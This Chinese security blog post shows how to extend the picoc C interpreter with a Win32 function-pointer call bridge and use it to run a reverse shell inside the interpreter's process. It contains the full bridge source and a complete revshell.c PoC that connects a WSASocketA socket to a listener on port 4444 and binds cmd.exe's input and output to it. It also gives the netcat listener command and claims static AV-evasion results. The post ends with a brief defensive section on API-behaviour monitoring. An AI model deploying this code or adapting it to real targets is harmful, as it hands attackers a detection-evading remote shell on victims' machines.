工具|picoc实战—用C语言动态解释实现反弹shell

admin 2026-06-21 05:00:00 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详细介绍了如何使用picoc微型C解释器在内存中动态执行C代码实现反弹shell的技术方案。文章通过为picoc增加WindowsAPI支持,实现了在解释器进程内连接监听端并将cmd.exe的标准输入输出绑定到socket的核心功能。重点解析了dcall函数指针调用桥的实现、picoc变参处理的特殊机制以及WSASocketA句柄继承等关键技术难点,提供了完整的POC实现路径和免杀效果验证。 综合评分: 85 文章分类: 渗透测试,红队,内网渗透,代码审计,安全工具


cover_image

工具 | picoc 实战—用 C 语言动态解释实现反弹 shell

原创

mimi3389 mimi3389

赛博生存指南

2026年6月20日 08:58 浙江

在小说阅读器读本章

去阅读

picoc 是一个能把 C 源码直接在内存里「动态解释」执行的微型解释器。本文给picoc增加WindowAPI支持,C 在解释器进程里连回监听端、把 cmd.exe 的标准输入输出绑到 socket 上,交出一个交互 shell?这篇就亲手把它跑通——全程 loopback,授权测试。

实际上 CS 4.13 的 beacon 虚拟机已经有大佬当天就实现了。

picoc 还有一重背景:Cobalt Strike 4.13 那套 Beacon Interpreter 的 VM,正是从开源 picoc 重构扩展来的AI 生成 | Cobalt Strike 4.13 Lost in Translation — Beacon Interpreter 仓库源码解读。所以拿它来跑一次「解释器里执行 C → 反弹 shell」,是最短路径。

制品草稿静态免杀效果如下:

源码分享:https://pan.baidu.com/s/1mPTsv-BupR6zzfyjKG91vw?pwd=s5tt


一、目标:用 picoc 跑一次反弹 shell

一句话目标:让 picoc 解释执行一段 C 源码,这段源码在解释器进程内连回监听端,把 cmd.exe 的标准输入输出绑到 socket 上,交出一个交互 shell。

整条链路:

picoc -s revshell.c  (脚本模式,从顶层语句跑,不需要 main)
        │
        ▼  LoadLibraryA / GetProcAddress  解析 winsock + kernel32 导出
        ▼  dcall(fn, ...)  按指针调用任意 Win32 导出
WSAStartup → WSASocketA → SetHandleInformation(INHERIT)
        → connect(127.0.0.1:4444)
        → STARTUPINFO{ hStd* = socket } → CreateProcessA("cmd.exe", bInheritHandles=TRUE)
        → WaitForSingleObject   (守住进程,让 shell 活着)

它跑起来是这样的——右窗 picoc 解释执行 revshell.c,左窗 netcat 监听端收到回连,whoami 回显 :

下面两节是底座和机制,真正的三道坎在四、五、六,完整 POC 在七。


二、底座:picoc 是什么

picoc 是一个微型 C 解释器(不是编译器)——Zik Saleeba 2009 年起的项目,Joseph Poirier 接手维护至今。它直接在内存里解释 C 源码,核心解释器只有约 5 千行(连自带的 C 标准库实现一起约 9 千行)。

它为什么适合做「进程内跑 C」的底座,两个理由:

  1. 1. 纯解释,不需要编译工具链。不像 BOF 那样要在本地 x86_64-w64-mingw32-gcc 一通操作,picoc 直接吃 C 源码——写完即跑。
  2. 2. 不需要额外分配可执行内存。它解释执行,不往堆上落一块 RWX。脚本跑在既有解释器里,这条「申请内存 + 改权限 + 执行」的检测线索天然缺失。

(顺带一提:这条线接上更早一篇 《让 beacon 编译》(2026-06-15)[2],那个系列讨论「怎么把代码弄进运行时」——从编译后注入(BOF),到这一篇的进程内解释(picoc)。)


三、关键机制:怎么在 picoc 里调任意 Win32 API

POC 的全部难点,都收敛到一个问题上:picoc 怎么调用 Windows API。

picoc 自带一套内建函数(intrinsic)机制:把一个原生 C 函数指针和一段 picoc 原型串配对,登记到一张 struct LibraryFunction[] 表里,再通过 IncludeRegister("windows.h", ...) 注册。脚本里 #include&nbsp;<windows.h> 时,这套表就被绑进来。每个内建函数签名固定:

void&nbsp;CFunc(struct&nbsp;ParseState *Parser,&nbsp;struct&nbsp;Value *ReturnValue,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;struct&nbsp;Value **Param,&nbsp;int&nbsp;NumArgs);

这套机制能让我们注入一批「便利层」API(MessageBoxAVirtualAllocSleep……每个写法干净、带类型检查)。但这不够——真实场景里要调任意 Win32 导出,一个一个枚举写成内建不现实。更通用、也更贴近实战的做法,是靠解析 + 指针调用LoadLibraryA 拿到 DLL,GetProcAddress 拿到导出,再拿这个函数指针去调。

问题来了:picoc 不能通过指针调用函数。 它的表达式求值器(expression.c)里有一道硬门禁,只允许调用 picoc 自己的函数值(TypeFunction),原生指针它不认识、不解引用。

所以要在 picoc 里调任意 API,必须自己造一座桥——两张牌:

| picoc 内建 | 角色 | | — | — | | LoadLibraryAGetModuleHandleA / GetProcAddress / FreeLibrary | 解析层 ——拿到任意 DLL 与导出 | | dcall(void *fn, ...) | 指针调用桥 ——拿到指针后按指针调 |

dcall 就是那个”绕过门禁”的桥。它在 x64 上很好实现:x64 下 int 和 void * 都是 8 字节、只有一种调用约定,所以所有参数都可以统一按 intptr_t 编排,按元数(0~12)switch 分派,把 fn cast 成对应元数的函数指针类型调一下:

/* void *dcall(void *fn, ...) -- 调一个已解析的原生函数指针 */
void&nbsp;CDcall(struct&nbsp;ParseState *Parser,&nbsp;struct&nbsp;Value *ReturnValue,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; struct&nbsp;Value **Param,&nbsp;int&nbsp;NumArgs)
{
&nbsp; &nbsp; void&nbsp;*fn = Param[0]->Val->Pointer;
&nbsp; &nbsp; int&nbsp;n = NumArgs -&nbsp;1;
&nbsp; &nbsp; intptr_t&nbsp;a[12], r =&nbsp;0;
&nbsp; &nbsp; /* ... 把 n 个变参填进 a[] ... */
&nbsp; &nbsp; switch&nbsp;(n) {
&nbsp; &nbsp; case&nbsp;0: r = ((intptr_t&nbsp;(*)(void))fn)();&nbsp;break;
&nbsp; &nbsp; case&nbsp;1: r = ((intptr_t&nbsp;(*)(intptr_t))fn)(a[0]);&nbsp;break;
&nbsp; &nbsp; case&nbsp;2: r = ((intptr_t&nbsp;(*)(intptr_t,intptr_t))fn)(a[0],a[1]);&nbsp;break;
&nbsp; &nbsp; /* ... 一路到 12 元 ... */
&nbsp; &nbsp; }
&nbsp; &nbsp; ReturnValue->Val->Pointer = (void&nbsp;*)r;
}

有了 dcall,picoc 脚本就能 LoadLibraryA + GetProcAddress 拿到任意导出,再 dcall 调用。

接下来三节,就是造这座桥、以及让 POC 真正跑通时踩的三道坎。


四、坑一:dcall 一带参数就崩 —— picoc 变参的真相

这是最难的一坎,也是最有 picoc 味道的一坎。

现象dcall(fn)(0 参数)正常;一旦 dcall(fn, arg1, arg2) 带任何参数,立刻段错误。

第一反应(错的):变参嘛,Param[0] 是函数指针,Param[1]Param[2]…… 不就是各参数吗?按这个下标去读。

错。picoc 把变参放进 Param[]。它的 ParamArrayexpression.c)是按固定形参的数量分配的——dcall 的原型里固定形参只有一个(fn),所以 Param[] 里只有 Param[0]。你读 Param[1] 就是在读越界内存,于是崩。

真相:变参被压在 picoc 的表达式栈上,紧跟在固定形参后面,连续排布。要拿到它们,得沿着 Value 结构体逐个走过去——这跟 picoc 自己的 printf 实现读 %s 参数是一模一样的手法。从 Param[0] 起步,按”当前这个 Value 占多大对齐空间”往前推一步,就到下一个参数:

/* picoc 把变参连续铺在表达式栈上,不在 Param[] 里。
&nbsp;* 下标 Param[1..] 会越界——这就是 dcall 带参就崩的根因。
&nbsp;* 照 cstdlib/stdio.c 里 printf 的走法,沿 Value 结构体逐个推进: */
struct&nbsp;Value&nbsp;*ThisArg&nbsp;=&nbsp;Param[0];
for&nbsp;(i =&nbsp;0; i < n; i++) {
&nbsp; &nbsp; ThisArg = (struct&nbsp;Value *)((char&nbsp;*)ThisArg +
&nbsp; &nbsp; &nbsp; &nbsp; MEM_ALIGN(sizeof(struct&nbsp;Value) + TypeStackSizeValue(ThisArg)));
&nbsp; &nbsp; a[i] = WinMarshalArg(ThisArg);
}

步长就是 MEM_ALIGN(sizeof(struct Value) + TypeStackSizeValue(ThisArg))——一个 Value 头加上它那块值存储,对齐到 MEM_ALIGN。指针走指针、数组走内联 ArrayMem、标量走 IntegerWinMarshalArg 里按类型分发)。

这个坎印证了关于 picoc 的一句老话:“这不是标准 C 运行时。” picoc 的变参语义和宿主 C 不一样,你得按它的栈布局来。修掉它之后,dcall 才真正能传参。


五、坑二:picoc 没有指针算术,怎么写 Win32 结构体

POC 要调 connectCreateProcessA,就得在脚本里亲手拼出 sockaddr_inSTARTUPINFO 这些结构体。正常 C 里你会这么写:

*((int*)(buf +&nbsp;60)) = flags;&nbsp; &nbsp; &nbsp;// 在缓冲区偏移 60 处写一个 int

picoc 不支持这个。它的 C 子集有两道限制:

  • • 不能对 void*/char* 做指针算术(buf + 60 报 “invalid operation”);
  • • 不能 *(int*)(buf+off) = ... 这种强转型写。

但有三样东西能用,足够绕过去:

  • • &buf[off]——取数组元素的地址,合法;
  • • memcpy(&buf[off], &val, n)——往那个地址拷 n 字节,合法;
  • • picoc 自己的 struct——嵌套成员访问、&member,都合法。

所以策略就一句话:把 Win32 结构体当成一块字节缓冲,所有字段都用 memcpy 往对应偏移写。 配一张 x64 布局表照着填:

| 结构体 | 大小 | 关键字段偏移 | | — | — | — | | sockaddr_in | 16 | sin_family @0, sin_port@2(网络序), sin_addr@4 | | STARTUPINFOA | 104 | cb @0, dwFlags@60, hStdInput@80, hStdOutput@88, hStdError@96 | | PROCESS_INFORMATION | 24 | hProcess @0, dwProcessId@16 |

脚本里就这么写(节选):

char&nbsp;si[104];&nbsp;memset(si,&nbsp;0,&nbsp;104);
int&nbsp;cb =&nbsp;104;&nbsp; &nbsp;memcpy(&si[0], &nbsp;&cb,&nbsp;4);
int&nbsp;fl =&nbsp;0x100;&nbsp;memcpy(&si[60], &fl,&nbsp;4);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* STARTF_USESTDHANDLES */
memcpy(&si[80], &sock,&nbsp;8);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* hStdInput &nbsp;= sock */
memcpy(&si[88], &sock,&nbsp;8);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* hStdOutput = sock */
memcpy(&si[96], &sock,&nbsp;8);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* hStdError &nbsp;= sock */

CreateProcessA 有 10 个参数,超过早期 dcall 的 8 元上限——顺手把 dcall 的元数封顶从 8 抬到 12,补上 case 9~12。


六、坑三:socket 必须来自 WSASocketA,不是 socket()

这一坎最隐蔽,也最经典。

现象:用 socket() 建连,SetHandleInformation(sock, INHERIT) 也设了,CreateProcessA(..., bInheritHandles=TRUE, ...) 也传了,启动参数里 hStdInput/Output/Error 全指向 socket——一切看起来都对,但 cmd.exe 一启动就 exit 1,socket 上一字节的 shell 输出都没有。

排查花了很久(一度怀疑是 STARTUPINFO 布局错了,专门编了个小程序把 104 字节逐字段打出来核对,全对)。最后定位到根因:

socket() 返回的句柄,即使打了 INHERIT 标志,也不会真正被子进程继承。 这是 Winsock 的历史包袱。CreateProcess 的 bInheritHandles 只继承”真正可继承”的句柄,而 socket() 给的句柄默认不是。

解法:换成 WSASocketA,它返回的句柄才是真正可继承的——这是 Metasploit 反弹 shell 多年的标准做法:

/* 必须是 WSASocketA,不是 socket()。
&nbsp;* socket() 的句柄不真正可继承,cmd.exe 拿不到 stdio,exit 1。 */
void&nbsp;*sock = dcall(fnWSASocket,&nbsp;2/*AF_INET*/,&nbsp;1/*SOCK_STREAM*/,&nbsp;6/*IPPROTO_TCP*/,&nbsp;0,&nbsp;0,&nbsp;0);
dcall(fnSetHandle, sock,&nbsp;1/*HANDLE_FLAG_INHERIT*/,&nbsp;1);

换上 WSASocketA,截图里那次回连就出来了。


七、完整 POC:revshell.c(授权测试 / loopback)

把上面三道坎的解法拼起来,就是完整脚本。解析 winsock 与 kernel32 的导出、建可继承 socket、连回 loopback、把 cmd.exe 的 stdio 绑到 socket:

#include&nbsp;<stdio.h>
#include&nbsp;<windows.h>
#include&nbsp;<string.h>

/* AUTHORIZED TESTING ONLY —— 目标 127.0.0.1,仅本地验证。
&nbsp;* 要点:socket 必须来自 WSASocketA(见坑三),结构体字段全用
&nbsp;* memcpy 写(见坑二),所有 Win32 调用走 dcall(见坑一/三节)。 */

void&nbsp;run()&nbsp;{
&nbsp; &nbsp; void&nbsp;*ws &nbsp;= LoadLibraryA("ws2_32.dll");
&nbsp; &nbsp; void&nbsp;*k32 = GetModuleHandleA("kernel32.dll");
&nbsp; &nbsp; void&nbsp;*fnWSAStartup = GetProcAddress(ws,&nbsp; "WSAStartup");
&nbsp; &nbsp; void&nbsp;*fnWSASocket &nbsp;= GetProcAddress(ws,&nbsp; "WSASocketA");
&nbsp; &nbsp; void&nbsp;*fnConnect &nbsp; &nbsp;= GetProcAddress(ws,&nbsp; "connect");
&nbsp; &nbsp; void&nbsp;*fnSetHandle &nbsp;= GetProcAddress(k32,&nbsp;"SetHandleInformation");
&nbsp; &nbsp; void&nbsp;*fnCreateProc = GetProcAddress(k32,&nbsp;"CreateProcessA");
&nbsp; &nbsp; void&nbsp;*fnWait &nbsp; &nbsp; &nbsp; = GetProcAddress(k32,&nbsp;"WaitForSingleObject");

&nbsp; &nbsp; int&nbsp;port =&nbsp;4444;
&nbsp; &nbsp; char&nbsp;ip0 =&nbsp;127, ip1 =&nbsp;0, ip2 =&nbsp;0, ip3 =&nbsp;1;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* 127.0.0.1 */

&nbsp; &nbsp; char&nbsp;wsa[512];&nbsp;memset(wsa,&nbsp;0,&nbsp;512);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* WSADATA,不读 */
&nbsp; &nbsp; dcall(fnWSAStartup,&nbsp;0x0202, &wsa[0]);

&nbsp; &nbsp; void&nbsp;*sock = dcall(fnWSASocket,&nbsp;2,&nbsp;1,&nbsp;6,&nbsp;0,&nbsp;0,&nbsp;0);&nbsp; &nbsp;/* 可继承 socket */
&nbsp; &nbsp; dcall(fnSetHandle, sock,&nbsp;1,&nbsp;1);

&nbsp; &nbsp; char&nbsp;addr[16];&nbsp;memset(addr,&nbsp;0,&nbsp;16);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* sockaddr_in */
&nbsp; &nbsp; addr[0] =&nbsp;2;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/* AF_INET */
&nbsp; &nbsp; int&nbsp;np = ((port >>&nbsp;8) &&nbsp;0xff) | ((port &&nbsp;0xff) <<&nbsp;8);/* htons */
&nbsp; &nbsp; memcpy(&addr[2], &np,&nbsp;2);
&nbsp; &nbsp; addr[4] = ip0; addr[5] = ip1; addr[6] = ip2; addr[7] = ip3;

&nbsp; &nbsp; int&nbsp;cr = (int)dcall(fnConnect, sock, &addr[0],&nbsp;16);
&nbsp; &nbsp; if&nbsp;(cr !=&nbsp;0) {&nbsp;printf("connect failed GLE=%d\n", GetLastError());&nbsp;return; }

&nbsp; &nbsp; char&nbsp;si[104];&nbsp;memset(si,&nbsp;0,&nbsp;104);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* STARTUPINFOA */
&nbsp; &nbsp; int&nbsp;cb =&nbsp;104;&nbsp; &nbsp;memcpy(&si[0], &nbsp;&cb,&nbsp;4);
&nbsp; &nbsp; int&nbsp;fl =&nbsp;0x100;&nbsp;memcpy(&si[60], &fl,&nbsp;4);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/* STARTF_USESTDHANDLES */
&nbsp; &nbsp; memcpy(&si[80], &sock,&nbsp;8);&nbsp;memcpy(&si[88], &sock,&nbsp;8);&nbsp;memcpy(&si[96], &sock,&nbsp;8);

&nbsp; &nbsp; char&nbsp;pi[24];&nbsp;memset(pi,&nbsp;0,&nbsp;24);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* PROCESS_INFORMATION */
&nbsp; &nbsp; char&nbsp;cmd[] =&nbsp;"cmd.exe";
&nbsp; &nbsp; int&nbsp;ok = (int)dcall(fnCreateProc,&nbsp;0, &cmd[0],&nbsp;0,&nbsp;0,&nbsp;1,&nbsp;0,&nbsp;0,&nbsp;0, &si[0], &pi[0]);
&nbsp; &nbsp; if&nbsp;(!ok) {&nbsp;printf("CreateProcessA failed GLE=%d\n", GetLastError());&nbsp;return; }

&nbsp; &nbsp; void&nbsp;*hproc;&nbsp;memcpy(&hproc, &pi[0],&nbsp;8);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* PI.hProcess @0 */
&nbsp; &nbsp; dcall(fnWait, hproc,&nbsp;-1);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* 守住进程 */
}
run();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/* 脚本模式:顶层调用,无 main */

跑法(两个终端,loopback):

# 终端 1 —— 先起监听
nc.exe&nbsp;-lvnp&nbsp;4444&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 或 PowerShell 的 TcpListener

# 终端 2 —— 再跑脚本(注意是 -s 脚本模式,不是 -c)
./picoc.exe&nbsp;-s&nbsp;tmp/revshell.c

顺带一个排错笔记:监听端如果用 Windows PowerShell 5.1 跑脚本,偶尔会在 WTGetSignatureInfo 处抛 AccessViolationException——那是 5.1 的签名校验老 bug,跟你的反弹 shell 无关。加 -NoProfile 或换 pwsh(PowerShell 7)就好。所以截图里直接用了 nc.exe,最干净。

另一个常见误操作:把 ./picoc.exe -s 打成 ./picoc.exe -c-c 是 “copyright info”——只打印 BSD 许可证全文然后退出,完全不会读你的脚本。脚本模式认准 -s


八、能力地图:本 POC 交付了什么(以及不交付什么)

整套 Win32 能力分三层,都集中在 platform/library_msvc.c 一张表里,扩展零成本:

| 层 | 内容 | 说明 | | — | — | — | | 解析层 | LoadLibraryAGetModuleHandleA / GetProcAddress / FreeLibrary | 进程内调任意 API 的命脉 | | 指针调用桥 | dcall(void *fn, ...) | 绕过 picoc 不能指针调用的限制 | | 便利层(Tier 1) | MessageBoxAVirtualAlloc / VirtualProtect / CreateThread / Sleep / WaitForSingleObject / GetCurrentProcess … | 最常用 API,带类型检查的干净写法 |

有了「解析层 + dcall」,任意 Win32 导出都能调——不止反弹 shell,令牌操作(OpenProcessToken / AdjustTokenPrivileges / LookupPrivilegeValueA,同样 advapi32 解析 + dcall)也是同一套打法。便利层只是把最常用的那部分包成写法更干净、带类型检查的内建。

范围外(必须说清):本 POC 不做真实实战工具的传输、加密、C2 协议、心跳、sleep mask——只交付「解释器 + Win32 API 面」。上面这个反弹 shell 是机制验证用的 POC,目标是 loopback,不是拿来即用的实战工具。


九、背景:这条线从哪来

这篇是几条线的交汇点,简短交代清楚 picoc 的来路:

  • • picoc 的血缘:Cobalt Strike 4.13 Beacon Interpreter 的 VM 是从开源 picoc 重构扩展来的,06-19 那篇[1] 解读过官方做了什么——官方走 Teamserver 编译字节码 → 随 C2 下发 → VM 解释;本篇走的是进程内源码直接解释 → GetProcAddress+dcall,更直白。
  • • 系列红线:《让 beacon 编译》(2026-06-15)[2] 讨论「怎么把代码弄进运行时」——从编译后注入(BOF),到本篇的进程内解释(picoc)。

一句话:本篇不替代官方、也不是拿来即用的实战工具——只把开源 picoc 改造成一个能在进程内解释执行 C、并调任意 Win32 的解释器,用它跑通一个 loopback 反弹 shell,把机制讲透。


十、防御视角(简短)

进程内解释器最大的特点:它把”申请内存 + 改权限 + 执行”这条经典 BOF 检测链架空了——脚本跑在既有解释器里,不在堆上落可执行内存。本 POC 也一样:picoc.exe 进程自始至终没有 VirtualAlloc 一块 RWX 来跑 shellcode。

盲区不等于隐身。本 POC 的全部能力最终都要落到 Win32 API 调用上——WSASocketA / connect / CreateProcessA,以及令牌操作的 OpenProcessToken / AdjustTokenPrivileges。调用边界没变,所以API 行为监控(谁、在什么上下文、对谁、调了什么)仍然是着力点。战场从”内存权限”挪到了”调用行为”。


结语

用 picoc 的 C 动态解释跑通一个反弹 shell,其实就解三件事:

  1. 1. 怎么注入 API 面——解析层 + dcall 指针调用桥(绕过 picoc 不能指针调用的硬门禁);
  2. 2. 怎么在受限 C 子集里操作结构体——没有指针算术,就用 memcpy(&buf[off], &val, n)
  3. 3. 怎么处理平台细节——socket 必须来自 WSASocketA 才真正可继承。

三道坎,每道都是实地踩出来的,每道解法都写在上面。最后那张截图,就是它们全部解开的证据。

下一篇,大概率会在这个解释器上接着做——把网络能力收成一个干净的 RevShell(ip, port) 内建,或者补一个 bind shell 版本,让 POC 从”能跑”走向”好用”。


本文基于开源 picoc 仓库与公开资料撰写,所有代码与演示均为授权安全研究用途、目标限定 loopback,仅作技术研究与防御教育。


参考资源

  • • picoc — 开源 C 解释器(GitHub)[3]
  • • Cobalt Strike 4.13: Lost In Translation — 官方博客[4]
  • • beacon-interpreter — 官方开源开发支持包(GitHub)[5]
  • • 本号系列:《让 beacon 编译》(2026-06-15)[2]、《Cobalt Strike 4.13 Beacon Interpreter 解读》(2026-06-19)[1]

引用链接

[1] 06-19 解读: 2026-06-19 [2] 《让 beacon 编译》(2026-06-15): 2026-06-15 [3] picoc — 开源 C 解释器(GitHub): https://github.com/zsaleeba/picoc [4] Cobalt Strike 4.13: Lost In Translation — 官方博客: https://www.cobaltstrike.com/blog/cobalt-strike-413-lost-in-translation [5] beacon-interpreter — 官方开源开发支持包(GitHub): https://github.com/Cobalt-Strike/beacon-interpreter


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛博生存指南 mimi3389 mimi3389《工具 | picoc 实战—用 C 语言动态解释实现反弹 shell》

评论:0   参与:  0